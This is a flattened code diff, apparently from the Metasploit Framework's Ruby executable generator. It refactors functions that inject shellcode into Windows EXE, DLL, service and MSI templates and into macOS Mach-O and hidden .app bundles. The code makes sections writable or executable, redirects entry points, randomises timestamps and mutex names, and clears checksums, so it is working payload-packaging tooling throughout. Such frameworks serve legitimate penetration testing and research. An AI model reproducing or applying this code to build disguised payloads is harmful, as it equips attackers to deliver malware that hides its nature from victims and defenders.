"template_#{arch}_windows.exe") - - pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true) - - exe = '' - File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)} - - pe_header_size = 0x18 - entryPoint_offset = 0x28 - section_size = 0x28 - characteristics_offset = 0x24 - virtualAddress_offset = 0x0c - sizeOfRawData_offset = 0x10 - - sections_table_offset = - pe._dos_header.v['e_lfanew'] + - pe._file_header.v['SizeOfOptionalHeader'] + - pe_header_size - - sections_table_characteristics_offset = sections_table_offset + characteristics_offset - - sections_header = [] - pe._file_header.v['NumberOfSections'].times do |i| - section_offset = sections_table_offset + (i * section_size) - sections_header << [ - sections_table_characteristics_offset + (i * section_size), - exe[section_offset,section_size] - ] - end + tds = pe.hdr.file.TimeDateStamp + exe[exe.index([tds].pack('V')), 4] = [tds - rand(0x1000000)].pack('V') - addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint + cks = pe.hdr.opt.CheckSum + unless cks == 0 + exe[exe.index([cks].pack('V')), 4] = [0].pack('V') + end - # look for section with entry point - sections_header.each do |sec| - virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0] - sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0] - characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0] + exe = clear_dynamic_base(exe, pe) + pe.close - if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint) - importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0] - if (importsTable - addressOfEntryPoint) < code.length - #shift original entry point to prevent tables overwriting - addressOfEntryPoint = importsTable - code.length + 4 + exe + end - entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset - exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V') + # self.to_winpe_only + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @param arch [String] Default is "x86" + def self.to_winpe_only(framework, code, opts = {}, arch = ARCH_X86) + # Allow the user to specify their own EXE template + set_template_default(opts, "template_#{arch}_windows.exe") + + pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true) + + exe = '' + File.open(opts[:template], 'rb') { |fd| exe = fd.read(fd.stat.size) } + + pe_header_size = 0x18 + entryPoint_offset = 0x28 + section_size = 0x28 + characteristics_offset = 0x24 + virtualAddress_offset = 0x0c + sizeOfRawData_offset = 0x10 + + sections_table_offset = + pe._dos_header.v['e_lfanew'] + + pe._file_header.v['SizeOfOptionalHeader'] + + pe_header_size + + sections_table_characteristics_offset = sections_table_offset + characteristics_offset + + sections_header = [] + pe._file_header.v['NumberOfSections'].times do |i| + section_offset = sections_table_offset + (i * section_size) + sections_header << [ + sections_table_characteristics_offset + (i * section_size), + exe[section_offset, section_size] + ] end - # put this section writable - characteristics |= 0x8000_0000 - newcharacteristics = [characteristics].pack('V') - exe[sec[0],newcharacteristics.length] = newcharacteristics - end - end - # put the shellcode at the entry point, overwriting template - entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint) - exe[entryPoint_file_offset,code.length] = code - exe = clear_dynamic_base(exe, pe) - exe - end + addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint - # self.to_win32pe_old - # - # @param framework [Msf::Framework] The framework of you want to use - # @param code [String] - # @param opts [Hash] - def self.to_win32pe_old(framework, code, opts = {}) + # look for section with entry point + sections_header.each do |sec| + virtualAddress = sec[1][virtualAddress_offset, 0x4].unpack('V')[0] + sizeOfRawData = sec[1][sizeOfRawData_offset, 0x4].unpack('V')[0] + characteristics = sec[1][characteristics_offset, 0x4].unpack('V')[0] - payload = code.dup - # Allow the user to specify their own EXE template - set_template_default(opts, "template_x86_windows_old.exe") + next unless (virtualAddress...virtualAddress + sizeOfRawData).include?(addressOfEntryPoint) - pe = '' - File.open(opts[:template], "rb") {|fd| pe = fd.read(fd.stat.size)} + importsTable = pe.hdr.opt.DataDirectory[8..(8 + 4)].unpack('V')[0] + if (importsTable - addressOfEntryPoint) < code.length + # shift original entry point to prevent tables overwriting + addressOfEntryPoint = importsTable - code.length + 4 - if payload.length <= 2048 - payload << Rex::Text.rand_text(2048-payload.length) - else - raise RuntimeError, "The EXE generator now has a max size of 2048 " + - "bytes, please fix the calling module" - end + entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset + exe[entry_point_offset, 4] = [addressOfEntryPoint].pack('V') + end + # put this section writable + characteristics |= 0x8000_0000 + newcharacteristics = [characteristics].pack('V') + exe[sec[0], newcharacteristics.length] = newcharacteristics + end - bo = pe.index('PAYLOAD:') - unless bo - raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag" - end - pe[bo, payload.length] = payload + # put the shellcode at the entry point, overwriting template + entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint) + exe[entryPoint_file_offset, code.length] = code + exe = clear_dynamic_base(exe, pe) + exe + end - pe[136, 4] = [rand(0x100000000)].pack('V') + # self.to_win32pe_old + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + def self.to_win32pe_old(framework, code, opts = {}) + payload = code.dup + # Allow the user to specify their own EXE template + set_template_default(opts, 'template_x86_windows_old.exe') + + pe = '' + File.open(opts[:template], 'rb') { |fd| pe = fd.read(fd.stat.size) } + + if payload.length <= 2048 + payload << Rex::Text.rand_text(2048 - payload.length) + else + raise 'The EXE generator now has a max size of 2048 ' + + 'bytes, please fix the calling module'.to_s + end - ci = pe.index("\x31\xc9" * 160) - unless ci - raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\"" - end - cd = pe.index("\x31\xc9" * 160, ci + 320) - unless cd - raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\"" - end - rc = pe[ci+320, cd-ci-320] + bo = pe.index('PAYLOAD:') + unless bo + raise 'Invalid Win32 PE OLD EXE template: missing "PAYLOAD:" tag' + end - # 640 + rc.length bytes of room to store an encoded rc at offset ci - enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32) - lft = 640+rc.length - enc.length + pe[bo, payload.length] = payload - buf = enc + Rex::Text.rand_text(640+rc.length - enc.length) - pe[ci, buf.length] = buf + pe[136, 4] = [rand(0x100000000)].pack('V') - # Make the data section executable - xi = pe.index([0xc0300040].pack('V')) - pe[xi,4] = [0xe0300020].pack('V') + ci = pe.index("\x31\xc9" * 160) + unless ci + raise 'Invalid Win32 PE OLD EXE template: missing first "\\x31\\xc9"' + end - # Add a couple random bytes for fun - pe << Rex::Text.rand_text(rand(64)+4) - pe - end + cd = pe.index("\x31\xc9" * 160, ci + 320) + unless cd + raise 'Invalid Win32 PE OLD EXE template: missing second "\\x31\\xc9"' + end + rc = pe[ci + 320, cd - ci - 320] - # Splits a string into a number of assembly push operations - # - # @param string [String] String to be used - # @return [String] null terminated string as assembly push ops - def self.string_to_pushes(string) - str = string.dup - # Align string to 4 bytes - rem = (str.length) % 4 - if rem > 0 - str << "\x00" * (4 - rem) - pushes = '' - else - pushes = "h\x00\x00\x00\x00" - end - # string is now 4 bytes aligned with null byte + # 640 + rc.length bytes of room to store an encoded rc at offset ci + enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32) + rc.length + enc.length - # push string to stack, starting at the back - while str.length > 0 - four = 'h'+str.slice!(-4,4) - pushes << four - end + buf = enc + Rex::Text.rand_text(640 + rc.length - enc.length) + pe[ci, buf.length] = buf - pushes - end + # Make the data section executable + xi = pe.index([0xc0300040].pack('V')) + pe[xi, 4] = [0xe0300020].pack('V') - # Converts a raw AArch64 payload into a PE executable. - # - # @param framework [Msf::Framework] The framework instance. - # @param code [String] The raw AArch64 shellcode. - # @param opts [Hash] The options hash. - # @option opts [String] :template The path to a custom PE template. - # @return [String] The generated PE executable as a binary string. - def self.to_winaarch64pe(framework, code, opts = {}) - # Use the standard template if not specified by the user. - # This helper finds the full path and stores it in opts[:template]. - set_template_default(opts, 'template_aarch64_windows.exe') - - # Read the template directly from the path now stored in the options. - pe = File.read(opts[:template], mode: 'rb') - - # Find the tag and inject the payload - bo = find_payload_tag(pe, 'Invalid Windows AArch64 template: missing "PAYLOAD:" tag') - pe[bo, code.length] = code.dup - pe - end - - # self.exe_sub_method - # - # @param code [String] - # @param opts [Hash] - # @option opts [Symbol] :exe_type - # @option opts [String] :service_exe - # @option opts [Boolean] :sub_method - # @return [String] - def self.exe_sub_method(code,opts ={}) - pe = self.get_file_contents(opts[:template]) - - case opts[:exe_type] - when :service_exe - opts[:exe_max_sub_length] ||= 8192 - name = opts[:servicename] - if name - bo = pe.index('SERVICENAME') - unless bo - raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" - end - pe[bo, 11] = [name].pack('a11') + # Add a couple random bytes for fun + pe << Rex::Text.rand_text(rand(4..67)) + pe end - pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method] - when :dll - opts[:exe_max_sub_length] ||= 4096 - when :exe_sub - opts[:exe_max_sub_length] ||= 4096 - end - bo = self.find_payload_tag(pe, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag") + # Splits a string into a number of assembly push operations + # + # @param string [String] String to be used + # @return [String] null terminated string as assembly push ops + def self.string_to_pushes(string) + str = string.dup + # Align string to 4 bytes + rem = str.length % 4 + if rem > 0 + str << "\x00" * (4 - rem) + pushes = '' + else + pushes = "h\x00\x00\x00\x00" + end + # string is now 4 bytes aligned with null byte - if code.length <= opts.fetch(:exe_max_sub_length) - pe[bo, code.length] = [code].pack("a*") - else - raise RuntimeError, "The EXE generator now has a max size of " + - "#{opts[:exe_max_sub_length]} bytes, please fix the calling module" - end + # push string to stack, starting at the back + until str.empty? + four = 'h' + str.slice!(-4, 4) + pushes << four + end - if opts[:exe_type] == :dll - mt = pe.index('MUTEX!!!') - pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt - %w{ Local\Semaphore:Default Local\Event:Default }.each do |name| - offset = pe.index(name) - pe[offset,26] = "Local\\#{Rex::Text.rand_text_alphanumeric(20)}" if offset + pushes end - if opts[:dll_exitprocess] - exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00" - exit_process = "\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73" - et_index = pe.index(exit_thread) - if et_index - pe[et_index,exit_process.length] = exit_process + # self.exe_sub_method + # + # @param code [String] + # @param opts [Hash] + # @option opts [Symbol] :exe_type + # @option opts [String] :service_exe + # @option opts [Boolean] :sub_method + # @return [String] + def self.exe_sub_method(code, opts = {}) + pe = get_file_contents(opts[:template]) + + case opts[:exe_type] + when :service_exe + opts[:exe_max_sub_length] ||= 8192 + name = opts[:servicename] + if name + bo = pe.index('SERVICENAME') + unless bo + raise 'Invalid PE Service EXE template: missing "SERVICENAME" tag' + end + + pe[bo, 11] = [name].pack('a11') + end + pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method] + when :dll + opts[:exe_max_sub_length] ||= 4096 + when :exe_sub + opts[:exe_max_sub_length] ||= 4096 + end + + bo = find_payload_tag(pe, 'Invalid PE EXE subst template: missing "PAYLOAD:" tag') + + if code.length <= opts.fetch(:exe_max_sub_length) + pe[bo, code.length] = [code].pack('a*') else - raise RuntimeError, "Unable to find and replace ExitThread in the DLL." + raise 'The EXE generator now has a max size of ' + + "#{opts[:exe_max_sub_length]} bytes, please fix the calling module".to_s end - end - end - pe - end + if opts[:exe_type] == :dll + mt = pe.index('MUTEX!!!') + pe[mt, 8] = Rex::Text.rand_text_alpha(8) if mt + %w[Local\Semaphore:Default Local\Event:Default].each do |name| + offset = pe.index(name) + pe[offset, 26] = "Local\\#{Rex::Text.rand_text_alphanumeric(20)}" if offset + end + + if opts[:dll_exitprocess] + exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00" + exit_process = "\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73" + et_index = pe.index(exit_thread) + if et_index + pe[et_index, exit_process.length] = exit_process + else + raise 'Unable to find and replace ExitThread in the DLL.' + end + end + end + + pe + end # self.to_win32pe_exe_sub # @@ -637,6 +541,7 @@ def self.to_win32pe_exe_sub(framework, code, opts = {}) opts[:exe_type] = :exe_sub exe_sub_method(code,opts) end + # self.to_win64pe # # @param framework [Msf::Framework] The framework of you want to use @@ -647,26 +552,26 @@ def self.to_win64pe(framework, code, opts = {}) # Allow the user to specify their own EXE template set_template_default(opts, "template_x64_windows.exe") - # Try to inject code into executable by adding a section without affecting executable behavior - if opts[:inject] - injector = Msf::Exe::SegmentInjector.new({ - :payload => code, - :template => opts[:template], - :arch => :x64, - :secname => opts[:secname] - }) - return injector.generate_pe - end + # Try to inject code into executable by adding a section without affecting executable behavior + if opts[:inject] + injector = Msf::Exe::SegmentInjector.new({ + payload: code, + template: opts[:template], + arch: :x64, + secname: opts[:secname] + }) + return injector.generate_pe + end - # Append a new section instead - appender = Msf::Exe::SegmentAppender.new({ - :payload => code, - :template => opts[:template], - :arch => :x64, - :secname => opts[:secname] - }) - return appender.generate_pe - end + # Append a new section instead + appender = Msf::Exe::SegmentAppender.new({ + payload: code, + template: opts[:template], + arch: :x64, + secname: opts[:secname] + }) + return appender.generate_pe + end # Embeds shellcode within a Windows PE file implementing the Windows # service control methods. @@ -680,323 +585,332 @@ def self.to_win64pe(framework, code, opts = {}) # # @return [String] Windows Service PE file def self.to_win32pe_service(framework, code, opts = {}) - # Allow the user to specify their own service EXE template set_template_default(opts, "template_x86_windows_svc.exe") - opts[:exe_type] = :service_exe - exe_sub_method(code,opts) - end - - # self.to_win64pe_service - # - # @param framework [Msf::Framework] The framework of you want to use - # @param code [String] - # @param opts [Hash] - # @option [String] :exe_type - # @option [String] :service_exe - # @option [String] :dll - # @option [String] :inject - # @return [String] - def self.to_win64pe_service(framework, code, opts = {}) - # Allow the user to specify their own service EXE template - set_template_default(opts, "template_x64_windows_svc.exe") - opts[:exe_type] = :service_exe - exe_sub_method(code,opts) - end - - # self.set_template_default_winpe_dll - # - # Set the default winpe DLL template. It will select the template based on the parameters provided including the size - # architecture and an optional flavor. See data/templates/src/pe for template source code and build tools. - # - # @param opts [Hash] - # @param arch The architecture, as one the predefined constants. - # @param size [Integer] The size of the payload. - # @param flavor [Nil,String] An optional DLL flavor, one of 'mixed_mode' or 'dccw_gdiplus' - private_class_method def self.set_template_default_winpe_dll(opts, arch, size, flavor: nil) - return if opts[:template].present? - - # dynamic size upgrading is only available when MSF selects the template because there's currently no way to - # determine the amount of space that is available in the template provided by the user so it's assumed to be 4KiB - match = {4096 => '', 262144 => '.256kib'}.find { |k,v| size <= k } - if match - opts[:exe_max_sub_length] = match.first - size_suffix = match.last - end - - arch = {ARCH_X86 => 'x86', ARCH_X64 => 'x64'}.fetch(arch, nil) - raise ArgumentError, 'The specified arch is not supported, no DLL templates are available for it.' if arch.nil? - - if flavor.present? - unless %w[mixed_mode dccw_gdiplus].include?(flavor) - raise ArgumentError, 'The specified flavor is not supported, no DLL templates are available for it.' - end - - flavor = '_' + flavor - end - - set_template_default(opts, "template_#{arch}_windows#{flavor}#{size_suffix}.dll") - end - - # self.to_win32pe_dll - # - # @param framework [Msf::Framework] The framework of you want to use - # @param code [String] - # @param opts [Hash] - # @option [String] :exe_type - # @option [String] :dll - # @option [String] :inject - # @return [String] - def self.to_win32pe_dll(framework, code, opts = {}) - flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil - set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: flavor) - opts[:exe_type] = :dll - - if opts[:inject] - self.to_win32pe(framework, code, opts) + if opts[:sub_method] + # Allow the user to specify their own service EXE template + opts[:exe_type] = :service_exe + return exe_sub_method(code,opts) else - exe_sub_method(code,opts) - end - end - - # self.to_win64pe_dll - # - # @param framework [Msf::Framework] The framework of you want to use - # @param code [String] - # @param opts [Hash] - # @option [String] :exe_type - # @option [String] :dll - # @option [String] :inject - # @return [String] - def self.to_win64pe_dll(framework, code, opts = {}) - flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil - set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: flavor) + ENV['MSF_SERVICENAME'] = opts[:servicename] - opts[:exe_type] = :dll + opts[:framework] = framework + opts[:payload] = 'stdin' + opts[:encoder] = '@x86/service,'+(opts[:serviceencoder] || '') - if opts[:inject] - raise RuntimeError, 'Template injection unsupported for x64 DLLs' - else - exe_sub_method(code,opts) + # XXX This should not be required, it appears there is a dependency inversion + # See https://github.com/rapid7/metasploit-framework/pull/9851 + venom_generator = Msf::PayloadGenerator.new(opts) + code_service = venom_generator.multiple_encode_payload(code) + return to_winpe_only(framework, code_service, opts) end end + # self.to_win64pe_service + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :exe_type + # @option [String] :service_exe + # @option [String] :dll + # @option [String] :inject + # @return [String] + def self.to_win64pe_service(framework, code, opts = {}) + # Allow the user to specify their own service EXE template + set_template_default(opts, 'template_x64_windows_svc.exe') + opts[:exe_type] = :service_exe + exe_sub_method(code, opts) + end - # self.to_win32pe_dccw_gdiplus_dll - # - # @param framework [Msf::Framework] The framework of you want to use - # @param code [String] - # @param opts [Hash] - # @option [String] :exe_type - # @option [String] :dll - # @option [String] :inject - # @return [String] - def self.to_win32pe_dccw_gdiplus_dll(framework, code, opts = {}) - set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: 'dccw_gdiplus') - to_win32pe_dll(framework, code, opts) - end - - # self.to_win64pe_dccw_gdiplus_dll - # - # @param framework [Msf::Framework] The framework of you want to use - # @param code [String] - # @param opts [Hash] - # @option [String] :exe_type - # @option [String] :dll - # @option [String] :inject - # @return [String] - def self.to_win64pe_dccw_gdiplus_dll(framework, code, opts = {}) - set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: 'dccw_gdiplus') - to_win64pe_dll(framework, code, opts) - end + # self.set_template_default_winpe_dll + # + # Set the default winpe DLL template. It will select the template based on the parameters provided including the size + # architecture and an optional flavor. See data/templates/src/pe for template source code and build tools. + # + # @param opts [Hash] + # @param arch The architecture, as one the predefined constants. + # @param size [Integer] The size of the payload. + # @param flavor [Nil,String] An optional DLL flavor, one of 'mixed_mode' or 'dccw_gdiplus' + private_class_method def self.set_template_default_winpe_dll(opts, arch, size, flavor: nil) + return if opts[:template].present? + + # dynamic size upgrading is only available when MSF selects the template because there's currently no way to + # determine the amount of space that is available in the template provided by the user so it's assumed to be 4KiB + match = { 4096 => '', 262144 => '.256kib' }.find { |k, _v| size <= k } + if match + opts[:exe_max_sub_length] = match.first + size_suffix = match.last + end - # Wraps an executable inside a Windows .msi file for auto execution when run - # - # @param framework [Msf::Framework] The framework of you want to use - # @param exe [String] - # @param opts [Hash] - # @option opts [String] :msi_template_path - # @option opts [String] :msi_template - # @return [String] - def self.to_exe_msi(framework, exe, opts = {}) - if opts[:uac] - opts[:msi_template] ||= "template_windows.msi" - else - opts[:msi_template] ||= "template_nouac_windows.msi" - end - replace_msi_buffer(exe, opts) - end + arch = { ARCH_X86 => 'x86', ARCH_X64 => 'x64' }.fetch(arch, nil) + raise ArgumentError, 'The specified arch is not supported, no DLL templates are available for it.' if arch.nil? - #self.replace_msi_buffer - # - # @param pe [String] - # @param opts [String] - # @option [String] :msi_template - # @option [String] :msi_template_path - # @return [String] - def self.replace_msi_buffer(pe, opts) - opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates") - - if opts[:msi_template].include?(File::SEPARATOR) - template = opts[:msi_template] - else - template = File.join(opts[:msi_template_path], opts[:msi_template]) - end + if flavor.present? + unless %w[mixed_mode dccw_gdiplus].include?(flavor) + raise ArgumentError, 'The specified flavor is not supported, no DLL templates are available for it.' + end - msi = self.get_file_contents(template) + flavor = '_' + flavor + end - section_size = 2**(msi[30..31].unpack('v')[0]) + set_template_default(opts, "template_#{arch}_windows#{flavor}#{size_suffix}.dll") + end - # This table is one of the few cases where signed values are needed - sector_allocation_table = msi[section_size..section_size*2].unpack('l<*') + # self.to_win32pe_dll + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :exe_type + # @option [String] :dll + # @option [String] :inject + # @return [String] + def self.to_win32pe_dll(framework, code, opts = {}) + flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil + set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: flavor) + opts[:exe_type] = :dll + + if opts[:inject] + to_win32pe(framework, code, opts) + else + exe_sub_method(code, opts) + end + end - buffer_chain = [] + # self.to_win64pe_dll + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :exe_type + # @option [String] :dll + # @option [String] :inject + # @return [String] + def self.to_win64pe_dll(framework, code, opts = {}) + flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil + set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: flavor) + + opts[:exe_type] = :dll + + if opts[:inject] + raise 'Template injection unsupported for x64 DLLs' + else + exe_sub_method(code, opts) + end + end - # This is closely coupled with the template provided and ideally - # would be calculated from the dir stream? - current_secid = 5 + # self.to_win32pe_dccw_gdiplus_dll + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :exe_type + # @option [String] :dll + # @option [String] :inject + # @return [String] + def self.to_win32pe_dccw_gdiplus_dll(framework, code, opts = {}) + set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: 'dccw_gdiplus') + to_win32pe_dll(framework, code, opts) + end - until current_secid == -2 - buffer_chain << current_secid - current_secid = sector_allocation_table[current_secid] - end + # self.to_win64pe_dccw_gdiplus_dll + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :exe_type + # @option [String] :dll + # @option [String] :inject + # @return [String] + def self.to_win64pe_dccw_gdiplus_dll(framework, code, opts = {}) + set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: 'dccw_gdiplus') + to_win64pe_dll(framework, code, opts) + end - buffer_size = buffer_chain.length * section_size + # Wraps an executable inside a Windows .msi file for auto execution when run + # + # @param framework [Msf::Framework] The framework of you want to use + # @param exe [String] + # @param opts [Hash] + # @option opts [String] :msi_template_path + # @option opts [String] :msi_template + # @return [String] + def self.to_exe_msi(framework, exe, opts = {}) + if opts[:uac] + opts[:msi_template] ||= 'template_windows.msi' + else + opts[:msi_template] ||= 'template_nouac_windows.msi' + end + replace_msi_buffer(exe, opts) + end - if pe.size > buffer_size - raise RuntimeError, "MSI Buffer is not large enough to hold the PE file" - end + # self.replace_msi_buffer + # + # @param pe [String] + # @param opts [String] + # @option [String] :msi_template + # @option [String] :msi_template_path + # @return [String] + def self.replace_msi_buffer(pe, opts) + opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, 'templates') + + if opts[:msi_template].include?(File::SEPARATOR) + template = opts[:msi_template] + else + template = File.join(opts[:msi_template_path], opts[:msi_template]) + end - pe_block_start = 0 - pe_block_end = pe_block_start + section_size - 1 + msi = get_file_contents(template) - buffer_chain.each do |section| - block_start = section_size * (section + 1) - block_end = block_start + section_size - 1 - pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}") - msi[block_start..block_end] = pe_block - pe_block_start = pe_block_end + 1 - pe_block_end += section_size - end + section_size = 2**(msi[30..31].unpack('v')[0]) - msi - end + # This table is one of the few cases where signed values are needed + sector_allocation_table = msi[section_size..section_size * 2].unpack('l<*') - # self.to_osx_arm_macho - # - # @param framework [Msf::Framework] The framework of you want to use - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] - def self.to_osx_arm_macho(framework, code, opts = {}) + buffer_chain = [] - # Allow the user to specify their own template - set_template_default(opts, "template_armle_darwin.bin") + # This is closely coupled with the template provided and ideally + # would be calculated from the dir stream? + current_secid = 5 - mo = self.get_file_contents(opts[:template]) - bo = self.find_payload_tag(mo, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag") - mo[bo, code.length] = code - mo - end + until current_secid == -2 + buffer_chain << current_secid + current_secid = sector_allocation_table[current_secid] + end - # self.to_osx_aarch64_macho - # - # @param framework [Msf::Framework] The framework of you want to use - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] - def self.to_osx_aarch64_macho(framework, code, opts = {}) + buffer_size = buffer_chain.length * section_size - # Allow the user to specify their own template - set_template_default(opts, "template_aarch64_darwin.bin") + if pe.size > buffer_size + raise 'MSI Buffer is not large enough to hold the PE file' + end - mo = self.get_file_contents(opts[:template]) - bo = self.find_payload_tag(mo, "Invalid OSX Aarch64 Mach-O template: missing \"PAYLOAD:\" tag") - mo[bo, code.length] = code - Payload::MachO.new(mo).sign - mo - end + pe_block_start = 0 + pe_block_end = pe_block_start + section_size - 1 - # self.to_osx_ppc_macho - # - # @param framework [Msf::Framework] The framework of you want to use - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] - def self.to_osx_ppc_macho(framework, code, opts = {}) + buffer_chain.each do |section| + block_start = section_size * (section + 1) + block_end = block_start + section_size - 1 + pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}") + msi[block_start..block_end] = pe_block + pe_block_start = pe_block_end + 1 + pe_block_end += section_size + end - # Allow the user to specify their own template - set_template_default(opts, "template_ppc_darwin.bin") + msi + end - mo = self.get_file_contents(opts[:template]) - bo = self.find_payload_tag(mo, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag") - mo[bo, code.length] = code - mo - end + # self.to_osx_arm_macho + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] + def self.to_osx_arm_macho(framework, code, opts = {}) + # Allow the user to specify their own template + set_template_default(opts, 'template_armle_darwin.bin') + + mo = get_file_contents(opts[:template]) + bo = find_payload_tag(mo, 'Invalid OSX ArmLE Mach-O template: missing "PAYLOAD:" tag') + mo[bo, code.length] = code + mo + end - # self.to_osx_x86_macho - # - # @param framework [Msf::Framework] The framework of you want to use - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] - def self.to_osx_x86_macho(framework, code, opts = {}) + # self.to_osx_aarch64_macho + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] + def self.to_osx_aarch64_macho(framework, code, opts = {}) + # Allow the user to specify their own template + set_template_default(opts, 'template_aarch64_darwin.bin') + + mo = get_file_contents(opts[:template]) + bo = find_payload_tag(mo, 'Invalid OSX Aarch64 Mach-O template: missing "PAYLOAD:" tag') + mo[bo, code.length] = code + Payload::MachO.new(mo).sign + mo + end - # Allow the user to specify their own template - set_template_default(opts, "template_x86_darwin.bin") + # self.to_osx_ppc_macho + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] + def self.to_osx_ppc_macho(framework, code, opts = {}) + # Allow the user to specify their own template + set_template_default(opts, 'template_ppc_darwin.bin') + + mo = get_file_contents(opts[:template]) + bo = find_payload_tag(mo, 'Invalid OSX PPC Mach-O template: missing "PAYLOAD:" tag') + mo[bo, code.length] = code + mo + end - mo = self.get_file_contents(opts[:template]) - bo = self.find_payload_tag(mo, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag") - mo[bo, code.length] = code - mo - end + # self.to_osx_x86_macho + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] + def self.to_osx_x86_macho(framework, code, opts = {}) + # Allow the user to specify their own template + set_template_default(opts, 'template_x86_darwin.bin') + + mo = get_file_contents(opts[:template]) + bo = find_payload_tag(mo, 'Invalid OSX x86 Mach-O template: missing "PAYLOAD:" tag') + mo[bo, code.length] = code + mo + end - # self.to_osx_x64_macho - # - # @param framework [Msf::Framework] The framework of you want to use - # @param code [String] - # @param opts [Hash] - # @option [String] :template - # @return [String] - def self.to_osx_x64_macho(framework, code, opts = {}) - set_template_default(opts, "template_x64_darwin.bin") - - macho = self.get_file_contents(opts[:template]) - bin = self.find_payload_tag(macho, - "Invalid Mac OS X x86_64 Mach-O template: missing \"PAYLOAD:\" tag") - macho[bin, code.length] = code - macho - end + # self.to_osx_x64_macho + # + # @param framework [Msf::Framework] The framework of you want to use + # @param code [String] + # @param opts [Hash] + # @option [String] :template + # @return [String] + def self.to_osx_x64_macho(framework, code, opts = {}) + set_template_default(opts, 'template_x64_darwin.bin') + + macho = get_file_contents(opts[:template]) + bin = find_payload_tag(macho, + 'Invalid Mac OS X x86_64 Mach-O template: missing "PAYLOAD:" tag') + macho[bin, code.length] = code + macho + end - # self.to_osx_app - # @param opts [Hash] The options hash - # @option opts [Hash] :exe_name (random) the name of the macho exe file (never seen by the user) - # @option opts [Hash] :app_name (random) the name of the OSX app - # @option opts [Hash] :hidden (true) hide the app when it is running - # @option opts [Hash] :plist_extra ('') some extra data to shove inside the Info.plist file - # @return [String] zip archive containing an OSX .app directory - def self.to_osx_app(exe, opts = {}) - exe_name = opts.fetch(:exe_name) { Rex::Text.rand_text_alpha(8) } - app_name = opts.fetch(:app_name) { Rex::Text.rand_text_alpha(8) } - hidden = opts.fetch(:hidden, true) - plist_extra = opts.fetch(:plist_extra, '') - - app_name.chomp!(".app") - app_name += ".app" - - visible_plist = if hidden - %Q| + # self.to_osx_app + # @param opts [Hash] The options hash + # @option opts [Hash] :exe_name (random) the name of the macho exe file (never seen by the user) + # @option opts [Hash] :app_name (random) the name of the OSX app + # @option opts [Hash] :hidden (true) hide the app when it is running + # @option opts [Hash] :plist_extra ('') some extra data to shove inside the Info.plist file + # @return [String] zip archive containing an OSX 